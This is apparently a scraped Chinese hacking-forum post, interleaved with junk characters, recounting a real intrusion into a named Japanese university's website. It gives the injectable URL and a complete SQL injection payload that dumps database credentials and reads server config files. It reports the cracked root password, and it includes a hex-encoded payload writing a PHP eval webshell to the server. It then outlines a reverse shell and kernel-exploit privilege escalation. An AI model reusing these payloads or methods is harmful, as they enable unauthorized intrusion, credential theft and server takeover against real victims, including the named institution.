入侵日本同志社大学技术分析
, N$ G+ ~& D* z/ v( j
4 l( F' [5 Z( A. `' ihttp://www.doshisha.ac.jp/chs/news/index.php?i=-1
4 O0 g" G b, {8 a: y7 n然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
1 ?7 Z) Z3 X3 D, ^7 h( Y0 h, D' D7 c7 w$ |3 |0 J" x
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user3 o. t8 ~+ g. t
0 c; h* g/ B- f! o
" z7 z7 e3 _4 H8 `
/ F7 k" v; h) P//@@datadir为数据库文件路径 0 O" f5 r+ j2 c% @
) v- U7 W# V: x2 I J# S1 v
* e3 r0 A! _9 m" L" w: V& { z' |//load_file读取网站容器apache的配置文件 0 }! p. K/ X! A4 T4 ~$ Z3 X
. ?3 d; ?7 S& x: ~' ^
4 E( v( p& A" U0 ?9 x7 m
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 + _0 b* d: E: R3 D2 e
复制代码
1 _. ]2 y# d1 `) x* m- w9 R: N- Z6 R: e! a$ w
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。2 I% ^4 D& P, ~( l$ [0 i" D
5 ]7 }4 F/ T) U( C
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。. h9 N' O% h+ }1 f4 ?0 y- Q
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
0 ?7 m, x3 W% h. F7 n k, y
% f/ e# P' T% x0 ?# h$ i前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。- h: ~6 Y7 ?$ `) |& G: d3 z
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
0 [5 M8 r+ Y8 a) T9 C) c1 h+ l+ I8 M7 e) _, a" u7 I0 N
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
. v/ E' l9 }! y/ r1 l5 k2 G% c4 H虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。& x3 s* h% }/ `( C
直接写一句话:- T5 B k7 `1 o8 f' x5 K
f9 Y' H7 o* f
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#* J8 T; I3 p _( d# _" d7 o& D
1 J, i2 j5 W* u
[+ ]! j- o$ o3 m, n: j. \3 x3 D" i
//最后的#是为了闭合前面的语句
! J4 T5 \! O- M; v; c6 M* i * T6 g, _# \9 L. d
3 q C1 P7 F5 a( D9 ^/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
H* F8 g8 _+ T; K! S$ f ( Z! b) k4 l K o. ^9 }
' v3 x" k1 ^9 Q6 E* |9 L/ E8 Q9 D8 }
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
) i/ O( b5 h* u! D
$ m4 h/ M( ?- X' d m4 [- I: x2 ^' H' Y% L4 _6 E
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 - Z0 W( Y; }. v7 m) `6 s* H
) ]* |; N6 W! z
" @& K8 d3 v0 D& \! C0 d
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 3 u7 A3 f/ J8 y+ h1 P! s; {
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ! R. v( Y) E$ g& L6 l
复制代码
- C# o4 {" t b+ F; _3 W& y& T. ^, s1 o' e) o! M U
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有! H4 ]" r* t: p& Z3 ^1 h
通过上述注入语句,我们就得到了一句话木马:
4 ]% m5 p$ h" p8 k6 {1 p) P0 ?: ]" s8 Q! ~) t0 G, V
2 Z$ o1 T7 j: t# ^6 Y2 U: s9 V# L' v/ {; G8 ]2 u4 ]; p
/ a. K8 C* z. r3 Q9 c1 A9 q
$ J( ~5 D3 _, ]3 V4 Qhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
( R; r7 S/ ]) [7 B. r* _) e复制代码& M; v6 Q% m) T2 o
6 M6 x+ e. R5 S9 f, E# d% a+ B% ]用菜刀连接,密码是cmd,如图所示:* p" h- S) N& a+ y# y
然后在命令提示行里看了一下,现在的权限是:
6 Q$ |6 K. N) j/ h. t2 a
& ?/ V: D8 ^$ w" z1 o+ A# S% Y* _之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
, Y6 G7 t! @' D: B8 W! I( u好在赋权给这个文件夹不需要root,直接执行赋权语句:2 u7 i; l9 i5 I8 w5 @( @( F
* V/ `+ D# x3 T* h
. M/ E5 x" r- z) A6 d( p. j4 v
' T$ N3 |8 h3 h! o/ Z3 Q- Y3 j ' A" V3 K( l V% N* G
- y+ d9 q5 i+ I8 H2 ^+ l( \1 \. Nchmod +x /tmp/
: x' D; O& B/ L1 \* Z8 R3 Q复制代码1 q' R# m. H3 J% C1 [9 y( v/ r+ Q
# R0 C- ^- B1 @3 N1 n在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
2 K$ }4 \5 ] u1 m$ v" ` B然后就查了一下内核版本:
0 o9 H* O) ]' C7 B" Z7 C. b2 h; i, x! h" c9 ?
2 a s/ J* D* h* r( B/ m G7 Q& G% G, i) ^& S
4 |. Q7 e) Y: r8 @$ x/ }3 _* W1 u
$ p% Z; h5 W, L+ tuname-a ) E6 C. ?" u0 r* k
9 w7 m7 F# R; U! ^) ^% L4 z8 L7 _* H& p+ W, j T9 l. t
//其实lsb_release -a
2 h- M1 q: b5 F" j" R) G复制代码
, H. \0 h# P- w) l' E4 z
# p f r' y4 _/ O- b如图所示:1 `1 ?/ ~" Q9 o/ o
# `# v" U/ K: q& [
内核版本:linux mainz1 2.6.28-194.e15; X* e8 |8 e3 ~6 e7 o8 o% V& c
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)+ C0 k) x, ^" i* F! ^0 M4 k; T8 ~
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹7 `; W5 O3 \5 X7 c& {5 Q# e
! [ E, y3 {; G8 o# W
然后给予执行权限
4 ?# r! d/ P* y2 t一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
2 v) @/ d+ J! b% o% ?
' c# D1 _. r' V! Z% i2 F5 | 5 m( J6 E# h. A# H1 n2 G
# _( R: a; `" ]8 ]; ^+ m
" U# O1 k; K( s. b/ G9 }" m* V
. [* Y" [/ Z5 d( {chmod +x /tmp/2.6.18-194
- \$ s5 M; K' ?, j复制代码 然后直接执行!~
, X0 P; p% x0 x
* w6 T( V. _6 D" j/ M2 r总结:
+ f3 H( `" {9 W! p, h* L" @这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
T& @- c( }$ o h7 y P9 q提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
( O/ j$ L6 i# j$ }& s! _, m6 A
* y7 B1 k& ~# z. ], z- K _ |